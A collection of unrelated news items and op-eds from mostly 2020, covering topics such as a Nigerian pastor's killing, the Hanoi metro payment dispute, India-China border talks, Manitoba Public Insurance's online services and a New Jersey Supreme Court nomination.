If AAP comes to power, there will be prohibition on alcohol, meat around the holy area of Golden Temple: AKejriwal pic.twitter.com/QQ1KYY8zKO a ANI (@ANI_news) September 9, 2016

Amritsar ward city & Anandpur Sahib will be declared holy places if AAP comes to power in Punjab: Arvind Kejriwal a ANI (@ANI_news) September 9, 2016



# He is safe and has already left for Amritsar: AAPas Jalandhar zone incharge Rajiv Chanda

Delhi CM Arvind Kejriwal's car hits the convoy's pilot car in Jalandhar, Punjab. None injured. pic.twitter.com/g7SDYPscGg a ANI (@ANI_news) September 9, 2016

Earlier on Thursday, the Delhi Police had said that it had made all appropriate security arrangements to escort Chief Minister Arvind Kejriwal at the Delhi railway station where he was allegedly heckled by BJP women activists in the morning.A



Activists led by Delhi BJP Mahila Morcha president Kamaljeet Sehrawat on Thursday raised slogans against and waved bangles towards Kejriwal, who arrived at platform number 1 of New Delhi Railway Station to board the train for Punjab.A Police said the CM was escorted safely to the train despite the protest.

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GREENWICH  A 46-year-old man from New York was arrested in connection with a theft from Saks Fifth Avenue on the Avenue this past winter, police said.

Maurice White, 46, of North Columbus Avenue, Mount Vernon, was extradited from the Westchester County, N.Y., jail Monday to face charges that he ran off with numerous handbags from Saks on Greenwich Avenue on Jan. 15, according to police.

White was booked on charges of larceny, conspiracy and organized retail theft.

/ GPD

An investigation led to the serving of the arrest warrant this week, police said.

White is known to Greenwich police and authorities elsewhere in the region: He was charged in connection with the theft of six fur jackets from Saks Fifth Avenue in November 2015, police said. According to police documents, White went over to a line of jackets, grabbed them and took off in that earlier incident.

Bail was set at $100,000 on the recent arrest.

Greenwich police did not specify why White was in the Westchester County lockup when he was picked up on the local charges.

White was caught pulling a similar hit-and-run larceny at a store on Long Island just days after the theft in Greenwich, according to authorities.

Pricey handbags are often targeted by thieves and sold online, according to law enforcement experts. Police have coined the term e-fencing for the resale of stolen goods on various websites.

rmarchant@greenwichtime.com
Not all doctors and med spas are going to use the same protocols, and I wanted to explain that patients need to confirm that their doctor is undertaking certain precautions before they visit his or her office. Its a matter of life and death, stated Dr. Stong.

Internationally renowned expert surgeon Dr. Benjamin Stong, MD gave interviews in May to radio stations across the U.S. to explain what patients should take into consideration when deciding whether to visit a doctor during the COVID crisis. Stations that interviewed Dr. Stong included WYTX FM and WSAT-AM in Charlotte, KKVI-FM and KRLD-AM in Dallas, KMA-AM/FM in Omaha and KVTA in Los Angeles.

Dr. Stongs list of "Things to Ask Before Visiting Your Doctor includes:



Does your doctor have test kits?

Are they using waiting areas?

Is everyone on their staff wearing gloves and masks?

Is your doctor available for a virtual consultation?

Can you doctor renew your prescription without you going to the office?

"I felt it was important to speak out on how to safely arrange for medical care in the middle of this horrible pandemic, stated Dr. Stong. "Not all doctors and med spas are going to use the same protocols, and I wanted to explain that patients need to confirm that their doctor is undertaking certain precautions before they visit his or her office. Its a matter of life and death.

Dr. Stong also stressed in his interviews that COVID-19 is still quite unknown and evolving and that therefore everyone should continue taking certain precautions until widespread and reliable testing is available and/or a vaccine is created and available.

Dr. Stong and his whole team at KALOS are committed to using safety protocols and remaining vigilant when it comes to sanitation, screening, visitor restrictions, masking, as well as all additional guidelines from the CDC. Also, Dr. Stong stresses that with virtual medical consultations, patients can still gather facts, ask questions and meet confidentially with their doctor. This special service allows doctors to provide the same personalized care that is offered with in-office visits and should be taken advantage of.

About Dr. Ben Stong:

Owner of KALOS Facial Plastic Surgery in Atlanta, Georgia, Dr. Benjamin Stong is dual board certified and fellowship trained in head and neck surgery and facial plastic and reconstructive surgery. Dr. Stong graduated from the University Of Alabama School of Medicine and then attended Emory University where he finished his internship in general surgery and residency at the Emory Department of Otolaryngology. He combines his training, experience and talent to generate superior outcomes in both surgical and non-surgical cosmetic surgery. Throughout his career, Dr. Stong has earned numerous accolades and recognition, including the Castle Connelly Top Doctor award for consecutive years.
Auto Industry Recovery Becomes a Five Year Plan

U.S. sales to dive 20% in 2020; recovery years away, Alix says.

By Martha Hindes

Senior Editor

Michigan Bureau

The Auto Channel

The Coronairus might be a non-issue by 2025, but the impact it has had on the automotive industry is expected to continue to be felt at least that long.

According to the global management consulting firm AlixPartners, the auto industry could be in a desert of profits scenario as the longterm impact plays out.

The suddenness of changes for a mere three months has done years worth of damage to the industry, according to research by the firm that annually tracks the health of the industry globally and factors in the expected, and unexpected events such as the coronvirus pandemic.

In a Thursday morning webinar, AlixPartners' findings predicted a continuing sales decline of about 21 percent from last year, to 70.5 million worldwide this year, That's a decline trend that already had been underway since 2017 that could predict about a 13.6 million vehicle unit year in the North American market for 2020, and not reaching a high here again of 17.2 million until 2025, the end of the forecast period.

Those sales will reflect a softening of consumer demand for vehicles that previously had been considered ones that needed to be on the move to meet regulatory and environmental goals such as electric vehicles (EVs). Demand for EVs already had been low this year with cheap gasoline and an industry pull back on incentives.

Detroit-based Mark Wakefield, Global Automotive & Industrial Practice Co-Leader for the firm said the industry is expected to cut project by project with Autonomous Vehicles and mobility faring worse than EVs that need to be protected.

AlixPartners predicts EV development will decline from $234 to about $200 billion. And AV development likely will stay semi-autonomous rather than moving toward level 5 for now.

In addition to sales losses, auto makers and suppliers are reeling under a massive debt load, calculated at $72 billion since mid-March when shutdowns went into effect globally. That's an extraordinary number that has to get paid off, said Wakefield.

OEM's have lost 47 percent of their profits and suppliers 36 percent.

Some points are less corrosive than those during the Great Recession of 2008 -2009. Credit has been more liquid. Banks have been fast acting. And 2.4 times more stimulus funds were added in 12 weeks this year than during the entire 2008-2009 crisis.

In the short term there has been $52 billion in credit lines in addition to another $20 billion in short term loans this time, particularly in the U.S.

Consumer confidence has not gone into the depths it did at that time either, although some segments such as ride hailing have taken a major hit. And while autos were on the decline in favor of crossovers before the pandemic hit, that trend is not expected to change.

Expectations of new model introductions has been altered, with about 15 percent of 2020 new vehicle model launches now being pushed back to 2021 . Others will be delayed until 2022 or 2023 when the industry is expected to have a wave of new vehicle launches.

On the recovery side, AlixPartners'; London-based chair and global vice chair - revenue Stefano Aversa, said China  the world's largest auto market  is becoming a bit more of a normal country with about 4 percent expected growth,  but not the explosive growth we had seen in the previous decade.

There will be different speeds of recovery. Aversa said instead of a concise letter shape, the recovery V from the pandemic could have an extended square root extension as a mix of factors moves it along.

European countries are expected to have lost a third of their vehicle markets. Both Europe and North America could have been hit even harder without government support.

The last five years have been record profit years particularly in Europe and Asia, he said. GM makes 30 percent of its profits in China.

Every region of the U.S. market presents a different scenario in a comeback, Some excess plant capacity will need to be phased out. Standard cost reductions and business transformations are being accelerated. And AlixPatners also sees a continuation of partnerships in development of advanced platform functions.

To continue making progress, employment will need to improve to stabilize consumers' ability to buy especially after some industries such as hospitality had such devastating job losses.

It's not just getting plants up and running, it's getting demand there when they are, said Wakefield.
Nigerian pastor and Calvin Seminary grad gunned down with his wife on their farm

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UPDATE: June 26, 2020, 9 a.m. ET: Christian Reformed Church of Nigeria General Secretary Sagarga Nuvalga confirmed to The Gospel Coalition that Emmanuel and Juliana Bileya were killed by members of the Tiv community, a predominantly Christian tribe. Dozens have been killed since last June in attacks carried out between the Tiv and Jukun tribes in the Taraba State.

A Nigerian Christian pastor who graduated from Calvin Theological Seminary in Michigan was gunned down along with his wife Monday while working on their farm in the Taraba State of Nigeria. The couple leaves behind eight children ages 1 to 19.

The Rev. Emmanuel Saba Bileya and his wife, Juliana, who is said to be pregnant, were killed by gunmen who have yet to be identified, according to a statement released by the Hausa Christians Foundation.



It was an attack on the pastor and his wife on their farm. While they were working on the farm, suddenly armed men came and opened fire on them, leading to the death of the pastor and his wife, a spokesperson for the state police said in a statement shared by the foundation.



Bileya served as a pastor at a Christian Reformed Church in the Donga local government area. Bileya received a Master of Theology from Calvin in 2014 and served for the last five years at Veenstra Theological Seminary in Donga, according to his LinkedIn profile.

In what is being noted as systematic direct war against Christianity in Nigeria, pastors, Christian leaders and seminarians are either being kidnapped or killed every week, the Hausa Christians Foundation statement reads. Christians in Nigeria have been the target of many attacks by the vicious Boko Haram jihadist Islamist terrorists, herdsmen attacks and many other kidnappings in recent times.

In a statement released through a spokesperson, Taraba Gov. Darius Ishaku condemned the murder of the pastor and his wife. Ishaku said he sympathizes with the surviving members of Bileya's family and members of the Christian Reformed Church in Nigeria.

The killing of the pastor and his wife is wicked and inhuman, the governors statement reads, according to Nigerias This Day newspaper. "Killings of this nature have happened too often recently in Southern Taraba communities and this is unhelpful to the ongoing efforts of the government to achieve lasting peace among communities in the area.

Biyela was a doctoral student at the Robert E. Webber Institute of Worship Studies, a nondenominational graduate school in Jacksonville, Florida.

He enrolled at IWS in 2014 and was in the final stage of his doctoral program. He took a thesis course in 2019.

It is with a broken heart that IWS announces the deaths of D.W.S. student Emmanuel Bileya, his wife Juliana, and their child in utero, whose name is known only to God, an IWS statement reads. Their martyrdom was the result of an ongoing ethnic war in their home country of Nigeria.

According to IWS, Emmanuel and Juliana will receive Christian burials on Friday.

According to IWS, Biyela wrote an explanation of the escalating tribal conflicts ongoing in his local area as recently as two weeks ago.

According to IWS, Biyela wrote:

This war has been going on for about a month now in my area, since April 2020. Another tribe has destroyed our churches and rumoured that they plan to come to destroy the church where I am working at, which is in a town called Mararraba located in Donga LGA of Taraba State in Nigeria. For some time now, many people have fled the town for safety including my family but I have remained in Mararraba praying and hoping for Gods restoration of peace and protection of the town and church. The truth is that the war started from a farm dispute. One man, a member of my branch church kindly gave part of his farmland to a man from another tribe to farm. But this year, 2020, the man encroached more into the farmland, of which the owner disagreed. A farm dispute resolution committee with a membership of both tribes was set up to resolve the issue. Although yet to be resolved, the man from the other tribe invited 200 other people who came with guns and forcefully went ahead to farm on the land. When the owner saw them and tried to stop them, they beat the life out of him to the point of death. While we were trying to calm the situation in town, youths retaliated by beating a man on his farm. After this, 4 of my church members who decided to leave the village and go to different peaceful village to look for a job were shot: 2 were killed, 2 survived. I buried the 2 boys. In summary, the people from one tribe attacked my village 2 times without success but succeeded on the 3rd attempt, they killed some of the villagers and burnt down the whole village with our branch church and the pastorium.

A fellow Nigerian IWS student who spoke with Biyela five days before his death told IWS that Biyela mentioned that he sent his children to the headquarters town of his church, but that he and his wife had stayed back.

According to IWS, that decision saved the childrens lives.

Born on Christmas Day of 1968, his family gave him the name Emmanuel, God with us, the IWS statement continues. For all in the IWS community who were blessed to meet Emmanuel, share a class with him, or enjoy a meal alongside him, it can truthfully be said that God with us was an apt name for him.

The institution states that the deceased students humility and gentleness spoke to all of the voluminous love of God in His Son, Jesus Christ.

Without fail, any email or letter from Emmanuel would begin the same way: Calvary greetings, IWS noted. This constant reminder of Christs death was, as Emmanuel well knew, also a reminder of Christs victory over the grave.

We know that at this time, Emmanuel would want those of us who grieve to place our focus not solely on these tragic deaths, but ultimately on the victory over death that Christ has secured for all who place their faith in Him.

IWS will release more details on how people can help support Biyelas children.

Nigeria ranks as the 12th-worst country in the world for Christian persecution on Open Doors USAs 2020 World Watch List.

Estimates suggest that over 620 Christians have been killed in Nigeria by radical herdsmen and Islamic extremists so far in 2020 as thousands have been killed in recent years.

While the government has maintained that the escalation of violence is a result of ethnic conflicts between predominantly Christian farming and predominantly Muslim herding communities, advocates for Christians contend that religious elements are a factor.
Payment disagreements between Vietnamese authorities and the Chinese contractor have further delayed operation of the nations first metro line.

The test run date for the Cat Linh  Ha Dong Metro Section in Hanoi, whose construction began in 2011, remains undecided after contractor China Railway Sixth Group Co Ltd asked for a payment of $50 million, which Vietnam authorities have rejected.

The Chinese director of the project, Tang Hong, told reporters Wednesday that the money was not an extra payment but has been agreed to in the contract for paying subcontractors and experts for the test run, which has been delayed since February because of the coronavirus pandemic.

"Vietnamese authorities have so far paid over 78 percent of the contract, but we need 86 percent," Hong said.

Without this money, suppliers will not send their experts to Vietnam to test the equipment, and the 20-day test run cannot be conducted, he added.

Vietnamese authorities, however, said that the Chinese contractor needs to meet certain criteria to receive the payment.

Vu Hong Phuong, Director of the Hanoi Metropolitan Railway Management Board (MRB), said that the contractor has not submitted documents with details for some equipment, and it cannot make a payment though it has the funds on hand.

Phuong said that according to the contract, Vietnamese authorities will pay 95 percent of the contract after the contractor hands over the project, and the remaining 5 percent will be paid two years later to ensure the contractors maintenance responsibility.

This means Vietnamese authorities want to pay after the test run is conducted, while the Chinese contractor wants the money now to do the test run.

Phuong also said that notwithstanding any shortage of funds, any delay in the test run is the contractors responsibility.

For now, both parties are still negotiating the issue. Among 150 Chinese experts needed for the remaining work, 26 are set to come arrive on June 12. It is unclear when the rest will come.

A safety evaluation is needed before commercial operation can begin. Again, the experts who are to do the evaluation, from French firm Apave-Certifer-Tricc, have not been able to enter Vietnam.

The Cat Linh-Ha Dong Metro Section runs 13 kilometers from downtown Dong Da District to Yen Nghia in the southwestern district of Ha Dong. It is part of Route 2, one of eight metro routes planned in Hanoi.

Construction began in October 2011 and was originally scheduled for completion in 2013. But several hurdles, including loan disbursement issues with China that were only resolved in December 2017, stalled it for years.

Its cost has doubled to VND18 trillion ($775 million), with 77 percent of it coming from official development assistance (ODA) loans from China.
Ross Brawn has hit back at Toto Wolff's reasoning behind blocking the introduction of qualifying sprints and reverse grids for next month's 'ghost races'.

It is believed Racing Point, whose owner Lawrence Stroll is now in business with Wolff in the Aston Martin project, joined Mercedes in blocking the move.

"Personally, I don't understand why old ideas are being dug up again that have already been analysed and found to be misguided," Mercedes boss Wolff said.

"A fan survey carried out by Formula 1 itself found that only 15 percent of fans said they wanted to see reverse grids.

"We believe that the fastest man should win in the fastest car and that we should be very careful with these types of gimmicks," Wolff is quoted by German media.

He also thinks some teams will play strategic games with the reverse grid approach.

"Just imagine someone sacrificing himself in one race to start from pole in the qualifying race the following Saturday and then probably also being on pole on Sunday," said Wolff.

"Then a strategic game like that starts up."

However, F1 sporting boss Ross Brawn thinks Wolff is not being totally up-front about the real reason behind his decision to block the proposal.

"In the first instance, Toto was very frank and said 'I think I'm in a very strong competitive position and I don't want anything that is going to upset the chances of me winning races'. And that's his prerogative," he said.

"But since then, all sorts of things have come out as to why we shouldn't do it. I still prefer to stick to his first reasons, which I respect, and I might even be the same in his position," Brawn added.

(GMM)
By Holger P. Hestermeyer

The coronavirus crisis hit the EU with full force. It has exposed, as you could read over and over again, the EUs fatal flaw: a lack of solidarity. You will have read the story in the Guardian. Or in the Telegraph. You will have watched it on the BBC. And on ITV. If you listened closely, you probably heard the trees whisper it late at night when you fell asleep.

The recent Franco-German proposal to allow the EU to borrow 500bn and give grants to member states to tackle the fallout of the pandemic seems to have silenced the complaints about a lack of solidarity for a brief moment. Before they inevitably reappear, it is worth reflecting on a narrative that is by now well established. What if theyre wrong? What if the fatal flaw of the debate is not a lack of solidarity but the very way we talk about solidarity between states?



Many who lamented the lack of solidarity played fast and loose with the facts. They pointed out that Russia and China sent Italy medical aid, but failed to mention aid by EU member states. Germany sent 300 ventilators to Italy and treated more than 200 coronavirus patients from France, Italy and the Netherlands, for example. Poland and Romania sent doctors and nurses to Italy. And so on.

They decried that a 540bn emergency package agreed by EU member states was puny, but did not acknowledge the 750bn programme of the European Central Bank.

When called out for omitting facts, they dismissed the criticism with a sigh: Yes, there might have been other things, but what you mention certainly falls short of solidarity.

Do they have a point? More solidarity would have been possible, surely. But how do you set the bar for the right amount of solidarity? Do you compare the EU with a country like the US? The EU is not a country. Nor, let us be honest, is the US currently a model for solidarity in a state.

Or do you define the bar of solidarity by what is ideal? If you do, I am the first to say that the EU falls short. I wanted to see coronabonds weeks ago  yet they still do not exist. But people disagree about what is ideal. Both Matteo Salvinis Lega and Silvio Berlusconis Forza Italia voted against eurobonds in the European parliament. The truth is: few things in life live up to anyones ideals. And none do in politics, anywhere.



The discussion about solidarity compares incomplete descriptions of facts with unreachable ideals to reach untenable conclusions. That might sound bad. But it is actually worse. The debate about solidarity is also counterproductive, because rather than discussing how we can show more solidarity, we spend our time blaming others for lacking it.

Story continues

Consider, for example, the export restrictions on personal protection equipment passed in several countries, which caused such a stir. Germany passed its restrictions on March 4th. When explaining why, the government pointed its fingers at France, which had introduced its own measures the day before. France, in turn, accused Germany of a lack of solidarity over coronabonds in the days before Macron and Merkel announced their proposal. In the Italian debate, both the French and German export restrictions were held up as evidence for the lack of solidarity in the EU, while the debate passed quietly over the fact that Italy had passed its own export restrictions for personal protection equipment on February 25th.

And the UK, you might ask? You will have seen the Telegraph articles, the Guardian op-eds and the BBC pieces pointing fingers at the EU, Germany and France for lacking solidarity. But have you seen any discussions about UK solidarity? What aid, if any, did we give to Italy, France or Spain? Or, if leaving the EU means we no longer care about Europeans, what aid did we give to Latin America? The reality is that much like everyone else, we love to point the finger at others for lacking solidarity, but fail to look at ourselves.



It is time we change tack. Solidarity is a noble concept. It has a long history. Leon Bourgeois, one of the fathers of the League of Nation, discussed it in his 1896 book Solidarite. It has even entered discussions of international law. But the political discussion about solidarity has become a circular exercise in finger-pointing.

It is a distraction for the debate we need to have. How do we address the problems we face in a globalised world? How should the cooperation of states be organised so that we all benefit? Which level of governance do we want to be in charge of a certain policy?

Macron and Merkel have made a proposal on how the EU should tackle the economic fallout of the coronavirus crisis by way of grants. They are right not because their plan satisfies some abstract notion of solidarity, but because it can work.

Currently, even within the EU, states are legally permitted to impose export restrictions on PPE in a health emergency. This is wrong, not because it falls short of ideas of solidarity, but because it leaves everyone worse off.

These issues deserve a thorough debate on their merits. Pointing fingers helps nobody. It only detracts from finding answers.
Talk-show legend Oprah Winfrey is set to host a two-night town hall tackling racism in America titled Where Do We Go From Here? in response to the protests for George Floyd.

The special TV event is scheduled to air on June 9 and 10, and will be shown on Winfrey's OWN Network, as well as all 18 of Discovery's other networks, including Discovery Channel, TLC, HGTV and Science Channel, according to The Hollywood Reporter.

'I've been having private conversations with friends and thought leaders about what's next and where we go from here,' Winfrey reportedly said in a statement - in regards to the unlawful killing of black unarmed man Floyd, at the hands of Minneapolis police.

Speaking up: Talk-show legend Oprah Winfrey is set to host a two-night town tall tackling racism in America titled Where Do We Go From Here? in response to the George Floyd protests

The footage of Floyd's shocking murder has sparked widespread outrage across the country and the world, with protesters calling out the systematic racism that is embedded into the fabric of American history.

'I thought it would be of both interest and service to bring their ideas, concerns and comments into a national spotlight,' Winfrey added.

Per the report, Winfrey will be joined by a number of guests for the TV event, including film director Ava DuVernay, actor David Oyelowo, Color of Change founder Rashad Robinson, NAACP national board member Rev. Dr. William J. Barber II, and many others.

Star support: Oprah will be joined by guests Ava DuVernay, David Oyelowo and more

OWN president Tina Perry also said in a statement: 'As a network dedicated to supporting and uplifting Black lives, OWN is committed to providing our community with important dialogue and helpful resources in this challenging time as we mourn the murder of George Floyd and ask ourselves how can we come together to create meaningful change.'

Meanwhile, President Donald Trump has continued to cause further division since the incident, with a series of responses that have only incited more anger from protesters.

On Friday, Trump seized on a new report showing a startling drop in unemployment, then said George Floyd was 'looking down' at the country and it was a 'great day' for him.

Trump made the odd comment during a rambling 53-minute appearance celebrating the good economic news  which he said defied expectations of top analysts and proved the U.S. economy was back on track.

'Hopefully George is looking down right now and saying "this is a great thing that is happening for our country." Its a great day for him. Its a great day for everybody. This is a great, great day in terms of quality,' Trump said.

Protest: The graphic footage of George Floyd's shocking murder has sparked widespread outrage across the country and the world (Floyd pictured above)

'Its really what our Constitution requires and what our country is all about. It really is what our Constitution requires,' he added.

Former Vice President Joe Biden called it 'despicable' that Trump would seek to 'put words' in Floyd's mouth.

Biden hit back with a speech in Dover, Delaware, saying: 'We are still facing devastating unemployment.'

'And Donald Trump is patting himself on the back,' Biden said. He just has no idea in my view of what is going on in this country,' Biden said. 'He remains completely oblivious to the human toll of his indifference.'
The Hungarian Ambassador, Mr. Andras Szabo, together with the General Manager of the Takoradi-based Sludge Management Company Limited, Imre Hegyesi, have presented 3,300 pieces of surgery and N95 face masks to the University of Ghana Hospital, in Legon, at a ceremony.



This is to help provide protection to the medical workers, who are at the forefront of the battle against the novel coronavirus  COVID-19.



Ambassador Szabo underlined the eagerness of his country to give strong support to efforts at strengthening Ghanas healthcare system.



We are keen on health-related developments in Ghana, even though we should re-arrange a bit these projects in the light of the COVID-19 pandemic.



The Central European nation recently announced the implementation of a joint oncology project in the country with the Turkish Government.



The Ambassador spoke of the start of mass production of ventilators by Hungary and said this could be of help to Ghanas health sector.



Mr. Hegyesi said, he was confident the masks would beneficial to the hospital.



The Administrator of the facility, Eric H. Gaisey, said the donation could not have come at a better time and expressed gratefulness for the gesture.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Marion County Superior Court appointed Rosemary Khoury as special prosecutor in the investigation of the fatal police shooting of Dreasjon Reed, the court announced June 4.

Rosemary Khoury

Khoury, who is Black, is a deputy prosecutor in Madison County.

Family members and community activists have been critical of city government because of how long it took to appoint a special prosecutor.

 Related: They couldnt fix his face: Dreasjon Reeds mother, attorneys give update

Marion County Prosecutor Ryan Mears made the request May 8, two days after Reed was shot and killed following a police chase.

A memorial for Dreasjon Reed sits near the intersection of 62nd Street and Michigan Road. (Photo/Tyler Fenwick)
A National Guardsman stands near the Lake St. Midtown metro station after a night of protests and violence following the death of George Floyd, in Minneapolis, Minn., on May 29, 2020. (Charlotte Cuthbertson/The Epoch Times)

Utah National Guard Kicked Out of District of Columbia Hotel, Mayor Claims Budget Issue

The Utah National Guard confirmed that 200 of its service members were kicked out of a hotel in the District of Columbia after Mayor Muriel Bowser called for the White House to withdraw troops.

Bowser has said she wants all non-District of Columbia troops out of the city, saying that the National Guard was removed from the hotel due to a budget issue.

Last night, we were informed that our service members would be relocated from their hotel rooms, the Utah National Guard stated on Friday.

Maj. Jaime Thomas told Fox News that they will relocate on Friday.

It has been heartbreaking for our Utah National Guard service members to witness the pain, suffering, and frustration in our communities across the nation, a spokesperson told Fox News. The Utah National Guard has been supporting civil authorities with our top priority of protecting lives as well as preserving property and critical infrastructure in our nations capital.

Sen. Mike Lee (R-Utah) criticized the mayors decision.

Senator  until they are recalled home  which I have formally requested from the President, your troops are in DC hotels. However, DC residents cannot pay their hotel bills. The Army can clear that up with the hotel today, and we are willing to help. https://t.co/WZypXMubxl  Muriel Bowser #StayHomeDC (@MurielBowser) June 5, 2020

Just heard that Mayor Bowser is kicking the Utah National Guard out of all DC hotels tomorrow. More than 1,200 troops from 10 states are being evicted. This is unacceptable, Lee wrote on Twitter on Thursday night.

He added that these brave men and women have risked their lives protecting DC for three days. Rioting, looting, arson, and vandalism have all disappeared bc these soldiers served. And now they are being kicked to the curb by an ungrateful mayor. This must be stopped.

In a news conference, Bowser said the district had a contract with the Marriott Marquis to house National Guard troops who were supporting the COVID-19 outbreak response.

At no time did we intend or certainly would be able to affect evicting any guardsmen from any hotel, Bowser said at a news conference, adding: Our message to the hotel was that if theyre going to use the rooms that we reserved, then [the other Guard units] have to pay for them or you have to refund us our money. And that we understood it would just be a matter of the Guard or the Army making those arrangements. So those out-of-state troops would be covered either by the Army or their home states, not by D.C. residents, reported the Salt Lake Tribune.
In video conference, the two sides agreed to resolve the dispute through peaceful discussion, India said.

India and China have agreed to resolve a dispute over their shared border in the Ladakh region through peaceful diplomatic channels, according to the Indian foreign affairs ministry.

The statement on Friday came a day before top generals of the two countries are due to meet near the site of their border standoff to try and find a way to de-escalate the situation, which began when India accused Chinese troops of entering its territory three times in May.

Indian officials said both sides would first focus on getting both the Indian army and Chinas Peoples Liberation Army to pull back additional troops and equipment to their pre-May positions.

Soldiers from both countries have been camped out in the Galwan Valley in the high-altitude Ladakh region, and have swapped accusations of trespassing over the disputed border, the trigger of a brief but bloody war in 1962.

In all, China claims some 90,000sq km (34,750sq miles) of territory in Indias northeast. India says China occupies 38,000sq km (14,67sq miles) of its territory in the Aksai Chin plateau in the western Himalayas, including part of the Ladakh region.

Senior officials of the two countries held a video conference and agreed that the two sides should handle their differences through peaceful discussion and should not allow them to become disputes, the foreign affairs ministry statement said.





In Beijing, Geng Shuang, a spokesman of Chinas foreign affairs ministry, told reporters the overall situation in the China-India border areas was currently stable and controllable.

While maintaining close communication through diplomatic and military channels, both sides are working to properly resolve relevant issues, the spokesman said, according to the statement posted on Chinas foreign affairs ministry website.

Both India and China agreed that peaceful, stable and balanced relations between India and China would be positive for stability in the current global situation, the Indian statement said.
Drivers and auto insurance policyholders will likely have to wait a few more years before they can purchase additional services from Manitoba Public Insurance online.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

Drivers and auto insurance policyholders will likely have to wait a few more years before they can purchase additional services from Manitoba Public Insurance online.

Ben Graham, MPI president and chief executive officer, told a legislature committee hearing Thursday the Crown corporations computer systems are "antiquated" and an investment of about $85 million will be needed to provide a full suite of online services.

He said the corporation has issued a series of requests for proposals to get the system up to speed.

Complicating the process, for MPI, he said, is unlike other insurers, it is responsible for driver testing and licensing, as well as for providing vehicle insurance.

"Were hoping to get some things online in the next couple of years," he said.

Graham, accompanied by MPI board chairman Mike Sullivan and senior staff, spent nearly three hours before the committee, fielding questions about online services, the Crown corporations finances, the effect of the COVID-19 pandemic on operations, and MPIs relationship with the Insurance Brokers Association of Manitoba (IBAM).

MIKAELA MACKENZIE / WINNIPEG FREE PRESS Minister of Crown Services Jeff Wharton

When NDP Leader Wab Kinew and his colleagues asked pointed questions about alleged government interference in MPI affairs and the corporations ongoing negotiations with brokers about the future of online product sales, Crown Services Minister Jeff Wharton objected.

Wharton noted IBAM and MPI were working with a government-appointed conciliator to sort out their differences.

MPI has produced internal financial models showing the corporation could save millions of dollars in broker fees if its products were available for purchase online.

Graham told reporters afterwards the conciliation process wont delay the provision of online services.

"The product suite that well provide is not under question. Its simply who will deliver them," he said.

Brokers insist they are not opposed to the greater use of online insurance purchases, but such transactions must go through them.

Currently, Manitobans can book a driving test and renew an insurance policy online, but thats about it.

MIKAELA MACKENZIE / WINNIPEG FREE PRESS Opposition leader Wab Kinew asked pointed questions about alleged government interference in MPI affairs.

Kinew said more online services would already be available if government had not interfered in the Crown corporations dealings with insurance brokers.

"Had Mr. Graham and the corporation been able to proceed with this process at the speed that they saw fit, Im very confident that you would be able to do all your business with MPI online, if you should so choose," he said.

Meanwhile, Graham said Manitobans wishing to take a drivers test should be able to do so soon. Testing has been stopped during the pandemic.

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He also said vehicle owners can expect good news in the coming weeks, when MPI submits its 2021 rate application to the Public Utilities Board of Manitoba. He wouldnt elaborate except to tell reporters: "I dont think Im going to lose any friends... two weeks from now."

MPI is currently in the process of returning $110 million to policyholders, due largely to lower insurance claims during the pandemic. Last fall, the PUB ordered an overall rate decrease of 0.6 per cent on vehicle insurance policies for the current year.

MPI has not laid off any staff during the COVID-19 crisis, although it has temporarily loaned some five dozen employees to government to help with the distribution of personal protective equipment.

About 250 employees whose work hours have been reduced to 60 per cent of normal have been enrolled in the federal work-share program, with Ottawa topping up their salaries, Graham said.

The CEO said because of measures its undertaken in recent years, MPI has never been financially stronger.

larry.kusch@freepress.mb.ca
Gov. Phil Murphy announced Friday he will nominate a former U.S. attorney to become the first black woman to serve on the New Jersey Supreme Court, saying the states highest court should reflect the states great diversity.

Fabiana Pierre-Louis, a 39-year-old South Jersey attorney who was raised by Haitian immigrants in Irvington, would be only the third black justice to serve on the Supreme Court and the first in a decade.

Before that can happen, Pierre-Louis must be approved by the State Bar Associations Judicial and Prosecutorial Appointments Committee and then be confirmed by the state Senate.

Murphy said he did not choose Pierre-Louis because of the national discussion that has erupted in the wake of the recent killing of George Floyd, an unarmed black man who died in police custody in Minnesota. He said this process started months ago.

However, given the challenges which are being brought to the forefront of our society, and the questions which will undoubtedly rise to reach our Supreme Court  core issues of socioeconomic equality and equity  there is no better meeting of an individual and the times, the Democratic governor said during a news conference in Trenton.

Justice cannot be blind if those who sit on our highest and most powerful bench are not surrounded by colleagues who encompass the full range of the American experience, whether it be racially or generationally, or both," Murphy said.

He also stressed that Pierre-Louis brings with her a sharp legal mind and a perspective which will be greatly beneficial to the proceedings of our Supreme Court.

If approved by the Democratic-controlled Senate, Pierre-Louis would replace Walter Wally Timpone, who joined the states highest court in 2016.

Timpone, a Democrat appointed by former Gov. Chris Christie, will turn 70 in November. New Jersey justices and judges must retire at 70, under state law.

Pierre-Louis, a Democrat, is Murphys first nominee to a vacant Supreme Court seat and has the potential to be on the bench for three decades. She must serve seven years before the governor and Senate will decide whether she gets lifetime tenure.

Fittingly, Pierre-Louis was once a clerk for John Wallace, the last black justice on New Jerseys Supreme Court  and whose 2010 ousting from the court led to a six-year battle over its makeup.

Never could I imagine that I would be nominated to sit in the same exact seat that he once occupied, Pierre-Louis said.

I have spent my entire legal career in New Jersey, she added. It is extremely humbling to be nominated, and I am extremely enthusiastic at the opportunity to continue the proud tradition of the Supreme Courts commitment to justice, equality and fairness.

State Senate President Stephen Sweeney on Friday congratulated Pierre-Louis on her nomination, though he did not say whether she would be confirmed or when her hearing would be.

I look forward to meeting and talking with her," Sweeney, D-Gloucester, said in a statement.

Lt. Gov. Sheila Oliver said Pierre-Louis appointment would mean New Jersey is no longer on a list of 33 states without a black woman on their top courts.

Oliver, who was the first black woman to serve as state Assembly speaker, said its appropriate this is coming as the pain of years of systemic racism is finally being addressed.

We will have a justice on our Supreme Court whose lived experience will educate her peers on the bench of our highest court as they grapple with these issues," she said. "Fabiana is proof that the American Dream lives.

Pierre-Louis thanked her parents, saying they came to the U.S. with not much more than the clothes on their backs and the American Dream in their hearts.

I think they have achieved that dream beyond measure, she said. Because my life is certainly not representative of the traditional trajectory of someone who would one day be nominated to sit on the Supreme Court of New Jersey.

Pierre-Louis received a bachelors degree from Rutgers University in New Brunswick and then a law degree from Rutgers Law School.

Later, she spent nine years working for the U.S. Attorneys Office in New Jersey, first as an assistant U.S. attorney and then as head of the offices Camden branch. She was the first woman of color to hold that post.

